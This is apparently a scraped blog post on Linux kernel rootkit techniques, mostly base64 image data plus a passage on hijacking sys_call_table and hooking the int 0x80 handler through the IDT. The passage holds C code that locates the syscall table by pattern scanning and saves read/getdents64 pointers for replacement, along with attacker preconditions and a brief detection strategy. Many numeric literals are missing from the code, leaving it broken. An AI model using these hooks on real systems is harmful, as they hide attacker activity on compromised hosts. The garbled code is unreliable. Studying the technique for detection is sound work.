EJ1+VMqg3xVCuP3JYM3zOiL4+lVSpx1NBl0xnaB2fDw5HnSFO8h0aYkCj/7DnFQpUX66GrrxL0xFL417jq7Gt06nxX5t4PrfVxp6vbG6kJQ+Z3lnp6mtcZmgNkPQaQAAAAAAcDopoNNyD5XYjZOkf+HYdoRkoxNrlhYNjHT6KYPmikiTeqT5zeMjnaZlqtNSGl7srDtCHgmRqztGE6Ck6WgDTz81zR9kH3tONB6SMhIilYBTBw0k3N5YM4AQHw8xzNAyqqagdE/6/C1JqqV4tXJ02rhnUzAzPjSUlxwVLNOCTrNE0Wk1bZO26zmiK1dz3VkPmtocKr0PdTptr5IZaVGh11YGnQYQI9Rp+SalWYi0HNUdnzSmuuN+PNur4ZODXMrgaP/gaH9Lrefb2Ur+nZCfF6OvXG11hLO2F/ub0e+K7iBZI1h9ZNyN1f7uDMZrjhDCcfyfOt7utDh4dxB9V2t3cnw0Ga9H75RdWvrjY/QUpLZMiwoULIvk7/gGaxA9dCrPRvHHPvm98Qc1d+j/Zvh26bFM9V6JZYZd3GK/H/2aO9Q9XDJfbYag0wAAAAAA4HSSV6flq+5Ytkgzj5B8tOoI0d2IjY3sri7JU9Cy5qAEUi1odRENjyh9Lg4nBzveWl8j0g6OJodB17Rpkbe0NmnqkLpuapo8WyWanZY6GLK4/60OhyysCyGOdUrv5OTYNDlM/Spz2prYdNzwU9Yks8JBp1kS6rRatEnTefRpdUepOeKu5wjRGRxn6LTj40lMp5XZJk1TMatdQacBxPB1WgOqO1Yq0gq5NMO3rnQPi5ovXKT8tdhbc6Y6bfoHY7TuiO4gUd1RF9ODY0ps2qSV+PiY7J1Wx2ieDjUVLIl10GkAAAAAAHA6yaXThr5Os/7O8dxEWpRN9Zu+K1t5xkasBkb0g+kHmjo9qUMiJQ+GLPr/qUnhoNMs8XVajdqkaS/8+EQCEfS4kXofTqaluUQwiyBQaL5Ok7+p7w4nx9PZAtFwX9CE0BvL/Qijb/BLQ4XJ+QAiWQErfCGYDKBMTgj/WePxRnQaQIxAp9VZpFm3SZtTdUeTSNP9eSjwvBjrrCuEEL5Ls39qrE6kleDS5D8btU7i72KN/7bVP+g0AAAAAAA4neTWaeVWd7QbJLEcIbH/nrHl2EgVIs3SpdmLNFxao4NOs+Te/QdffetOBZPSirZJi1378nQ0t390fDgZrznOmly7VZ6dNnCFO4hd5tOCWnthH0RZccVG/KS+hsEwplw3K1GAVF/LKtZNJlFGdegKdzB948CtdX8ZdBpAjKROa3CbtFzft6pApJXj0vR1DHI8Ndq7tMSzI4+PpKqg0wAAAAAA4HRSTKctvE1afURaRp2e/CItMR7CSEibg06zJK7TalPdUbnefZ02OT70p6DJ5VtDnTZwhTtQL/CBG7m0k5OY7jLrtMSEM7Uaqk6njXvLxpJXQ7c539pHpwHEUHSa9aS0U9cmrcrqjjOItEZUdyQEnQYAAAAAAKeVAjqtVtUdZx0bqbVIo7pj+4NOs2Sq03LcIsqs7mhz4fsN0oTbD/1Z+N+hTvNnoUU67UTVacGJUa1OG7hCQ7SooduAql1B0GkAMUKd1sTqjjVok1ZWdcf8T41Nqe5IyMnJMToNAAAAAABOK3l12qzjJNVVd5xZpC2sTRrVHU9x0GmWKDrNfIuYR5s07fUeU2jjdUc43ji4xseeE4i0QVeI7iB+XQ/SxVg1Ok2ZnRYPOg2gsfg6ranVHRct0kp4XiyjuqPVg2OuZ0ceH0nZQacBAAAAAMDpxF6nfWOwPfzhX9MmjTZppMSg0yyRdVot2qQlLnnNjLSBK/wCj8fHk7HnON6ef4EPXCHcgTzZ1CDGytRpQ683PlZLO54cn5wcj3tuJNjQaQCNRaPTGiHSyn5MbEybtDlMSuPxkVQQdBoAAAAAAJxOiuu02rdJa2B1R0ZCTl3QaZb4Oq1GbdK0k1AVnTbxJ6IdTwKdNu2OdnwycIVwenvhpW0QY+OeI6b+LKjTmFOnTX9n3HOnyxm6Qp6gpvgzdBpAY1F1mmV1RxuRpndpdWyTVsLDYhmT0hYv0igOTirLadBpf/13j+/df0AIIYQQQvJm0c9xANVSUKe1ok1a/klptEkjJQedZsk9X6fVp01a8nqPOpK5/enEU/9njuOELw2OTybHw2747+HJ8dCNdy8be8vSq/FWZ+4weNV1M94VJnx7vMBj9PsilGdDtamaKufqF3QaQIx7oU6jTRpt0hZ9gyYtzmnQab/8+vf+4c0fEEIIIYSQXHlp/b0/Gn2y6Ec5gArJrdPq0CYtdXiENmmkYUGnWZKm0+bdJu3I4nrPvMAXfda1Keg0gBiBTqt/dcdFizTapBEyS06DTvvia98VG48IIdVm5dri16EOuXlNXF30OhBCSEn5xW/+6Hsf/njRj3IAFZJPp/2rv65zdcf6t0mjuiNRgk6zJKnT8lV3LL1NmtWYJyKt8qDTAGKEOq2+Io02abRJI80POo2UnKuXRJKVu/FfuyvOCiEulfahN69Fn3XWQuqsnLdYycYm3LoLt4KfXNBuo8VRuGB3mPyDnrHnyz7o5m1fzJG9FXyivU4LD83se8bq0isQ/8BVsSfnckqUsKuLrWe5W1foKLT7RkfmFXQatJ5cOu07Rp1W/+qOdWqTRnVHcnKMTrNG1mm1aJOWd1Iag5zVBJ0GEMPXabRJo00aIZUGnUbKz81rsUFk33UpY7gX7LxXgY+zXPLVS/GR7rvirOSfmp6V8+q2XNANo2fuK0ud5h+FzN1e4kE35Oql2KdoT78Kc1ectdRp8VNOPSELxebSK5yV8+XvxvmcErPv6mLrWcXW5T0K7b7RkbkEnQatpxSdVrpIsxgxb0h1R0QaMQadZkmo0yqu7liBSOPSrjLoNIAY9+4/6PzmH//2P9/77X8+lvM79nk3ln86c97w8542/2aWvKnkX5STtwz5o7T8hWW+bZM/LpLfJWSO+fW3/xydRkqOMqa/8UisnK9w0FxVR7eEOC9uZr0rOaSeXO3mxlKnlRgbnTafKDpNuzcqjLVOS14UF2b2HJVeelXotPmkil29wG2ZSae160ZH5hJ0GrSe2XXagtqkNaO6I+V5iDnoNEvu3X/wtbfuGETaYqo7qr4ckTbvoNMAYjw7nPz+v/x44UPthJDW5yePntjclGqu01588cVvfetb2pfQafOOdky/usFrdbz4lnV9QuXX7DxcI4JOm+e2x2Kp0+6Ks4m1mn2CWqWXXlN1WjW7elGZXae16UZH5pI0nfbBBx+89NJLlhICoM7MotNok0abNDJj0GmWRDptvtUdaZNW86DTAAAA6kvNddqZM2eEEGfOnElKNXTavKOtOGffTWqmWM8NavekDXSa/M+5HlbLM/CW5qKY/Uqp9NJrqk6rZlcvKsxOI3NPUqf5Is1vxodOgxZQTKfRJo3qjqSUoNMsCXRaI9qkcWnPMeg0AACA+tIIneajSDV02rzjD1VHJDr3+Gjmi/ithm5Fb5V/R17s2UvBcq4mXrUcItfMaRNi5W6wGuFqh/9U60lqty5lJS9YLDP6XBHNHbkghDgvVqYvXZ1+bqa4ytBp6UdBXoLlSoYbHq5V+N7gJykfl3nEMw966pGVSM7NMmxF7MiK1FPX8K4L16x02s1ruhlCt4SYni3m3VLk0kvfhPBAyHsm+YlakWPamconWtwHZrwJFNvV4bppLkzjlZK6MjPc5TL25+w6zf5Gl36XS9v2zP2ZtnXZNzrD1Ucqj6zTZJHmg06DFlBAp9EmrZTqjgsfhiZ1CDrNkoROm71NWuLCR6Q1MOg0AACA+tIgneYTSjV02rwTzX64K86mDH2ahuYvScsJ335LHX5NK2Fn2RVJkS5CGZS/JcQlcfVSsKgL0sCuMq/l6iXrlUxfptLbKZpfdSsajF45P90zFrXaQqElYylIlL0UbkLqSk53S/hP+V3mjzMd8TwHXVmmOjtNOl6mrYifrrEjq8w5uxU/6NK+VT4uLQbHE6mOtN1iXmzapWfYBFnz6DYq7fCZTwllIdoubvlOiULng3lXB/+dcmEa1tNmZfLe5TL2Z/oyDSl2ozPd5TK3PWWZpq0z3+iMpy6pPr5OS4o0dBq0hrw6jTZptEkjJQadZomk02iTRqKg0wAAAOrLBx98oBmgrz1nzpz5B195c+GjUacrcjGxtNZNaQPNseFjaRRVMTSm0oJ21fYyagBKw7tKklUTw2HijJU0LlN5Y9KcRXvSTqfZFHvMpdNSVzK+sWkuTftxhiOe76AblikP0Ju3ItF17+q1aOcnD3o4+h/bXrvTz+B4rmbtlozFplx6hk3Q7jTtblSWYD4lkitgqdNKuAlY7+rwv81mTruemSuT9y5n3p+GZRpS7EZnuMtlb3v6Mk2XXvqNznzqkurzH//mD/7Rf/Ffzf/5DWCefPDBBzb/N/SNwfZ37iZ1WvNEWvXVHRFpxDboNEumOo02aSQWdBoAAAAUJDk7TQhx6dKljz/+mNlp8448TprWpyfvQLPikMzDqTbTVrJHmbWv6lSW1n5pVjJtmfIqRSevusCF67TUlZzuhLBaYFk6LddBT12mTqgYtsIn6Y2SnL0WrHDsl8vonVaKTlMuvdRNMOy0+Omadrbod2Zyz8x+ShQ6H7J7p2VdmPptt1iZ3Hc548lpPgppKXKjM9/lMrfduD/1W2e80ZlPXVJ9fvGbP/rOnb/0PO/5559PHgpmp8GpIqHTaJNGdUcya9Bplty7/+Brb/0wx6Q02qSdjqDTAAAAoCCKTvNFmv8SOm3eiQ28poyqFxholsdh5V9LznpZmE5LX0nTMh+pFqqes9NSVzL8p/+qzl6kfVwutWA5gK43Q9IMJ8NWyKsqf6J274UrXESn6a6L8JwsRacpH5EoZp5KAAAFAElEQVS6CYadlqXTTDuzCp1W6Hww7+qNR0V1msXKFJiDm3ly1kKnFbrRmbYuS6fl2mRSdsLeaU+fPk1KNXQanCriOq2MSWmnpk0aA+4kLeg0S2I6jTZpZBp0GgAAABQk1GmySPNBp807yYHX2cugpZYQvCvOCs27ModfC+o0ndgIV9tQ59C0zMTgdR11mmElp/+UpzpZTknMVezRMtq6hcHKG7fi6iX1yIYrnNyfN68FL6nu1lp9JfdSuKhydFp8OYZN0O60pKVWD1/WKZG02jevpe5hm1Oi2Plg3tXBhuTXaTYrk+8ul7U/DcvMte2xaLfdeJfL3nY7RZer2KPh1CXVJ9RpPopUQ6fBqWKq05pX3ZE2aaS2QadZEui0+bRJo7pjc4JOAwAAgIKcOXMmKdJ80GnzjjoKrJuuVGB2mj9hKDklQhkvvmA3baWgTlPKxCUKCaatpGmZif1zQQhxSWzcEivX6qTT0lbybrAf5I3VHoUCs9NM+zN9neVfi6bNZW1FsibkhXh7rWjlpUOpnA9+YTob9bURlzpyg7eydFqyQ5h2EzamM4fCV5WN0h8+i1NCuVJmPyUKnA/mXZ3cFdpor5TMlcmt04z707BMQ4rd6Mx3uYxtT9Nphq0zf2/AeOqS6qPoNJ9QqqHT4FSR1Gmli7QGVndEpJGZgk6zRNFpM4o060lpXNp1DzoNAAAACvLJJ5+kvYROm2uiImCJvk0rd4Ox41QrJv9E+s2rOhuUrENoP8IejQUnvFSstU+aGrklvRzfTO1KZi4zbNkVvOpv+/lgD5y9Fv3C1enONGxmuHXh/gmbDwWrl34UkkczVpxNt5I3kwdd2j9X0z/OfMQN+9PqyErICzFshfKS0FVxjG2mbplXp79mb9SUQ5C5WwpeesZN8B2P/rpIHD5FJWp3ZvJKSTokGZtTosD5YLmrhfQpsXelXymmlSl6lzPtz/SjYHU5FLjRpdzlDNtuXqZh68J7WuqNLv3UJdVHq9N8nj59+vDhw8qe7ABqh6LTFiLS8k9Ko00aqXXQaZbIOs2iuiNt0k5L0GkAAABQPui05kdXvzE5AYuVnD2xiTvpXdDYny2LtiJrvVKr86FWK8O2k2pj0GkAp41Qp5U6KW3BbdKo7kgWG3SaJb5OK9Imzaa6o+rLEWmNCToNAAAAyged1ookJmfUcfS2EStpjjwlJaukJPuzHdFOa6tjanU+1Gpl2HZSYdBpACHfGGz/s7t/fdrapFHdkVQadJolGp1GmzSCTgMAAIAqQKcRQgghhBQIOg0gJNBpp7dNGtUdSflBp1kS02mVtElLXOA48iYEnQYAAADl88XXvvtzvzUihBBCCCG5cuGffB+dBuDzjcH2//b7P3rjvX+Tljfl/IsS8lZa/igtf5GZb2fmj/PldwmZIb/1vX+NTrPh3v0H3Zt/orv8C13vXNptyTcG2+g0AAAAKJmtO/cX/pRDCCGEENLE/OTRk0U/ygHUgnv3Hyz8eiSkffmzvZ8s+uJuAM8OJ7//Lz9e+MEiNYx8BaHTAAAAAAAAAAAAAAAAAFJBpwEAAAAAAAAAAAAAAACkgk4DAAAAAAAAAAAAAAAASAWdBgAAAAAAAAAAAAAAAJAKOg0AAAAAAAAAAAAAAAAgFXQaAAAAAAAAAAAAAAAAQCroNAAAAAAAAAAAAAAAAIBU0GkAAAAAAAAAAAAAAAAAqfz/snFmobFtUUYAAAAASUVORK5CYII=" alt="" width="1278" height="403" />
Relevant Link:
http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf
http://jaseywang.me/2011/01/04/vfs-kernel-space-user-space-2/
2. Syscall Hijack
0x1: SYS_CALL_TABLE Functions Address Pointer Hook Hijack
By directly replacing the system call function table pointer address, in order to achieve the purpose of system call hijacking
code
/*
1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48)); /*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
"中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断
struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};
static struct
{
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48;
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + *0x80);
system_call_addr = (pIdt80->offset_high << | pIdt80->offset_low); /*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址)
*/
for (i=; i<; i++)
{
if (p=='\xff' && p[i+]=='\x14' && p[i+]=='\x85')
{
sys_call_table = *(unsigned int*)(p+i+);
printk("addr of sys_call_table: %x\n", sys_call_table);
return ;
}
} /*
4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read];
orig_getdents64 = sys_call_table[__NR_getdents64];
..
replace
..
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
) KJ_SYSCALL_TABLE_SYM
) KJ_MODULE_KSET_SYM
) KJ_CORE_KERN_TEXT_SYM
0x2: Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register
相比与系统调用表劫持技术,80中断劫持技术将hook点选在了代码逻辑的更上游的地方,关于系统调用劫持和80中断表劫持的区别,如下图所示
aaarticlea/png;base64,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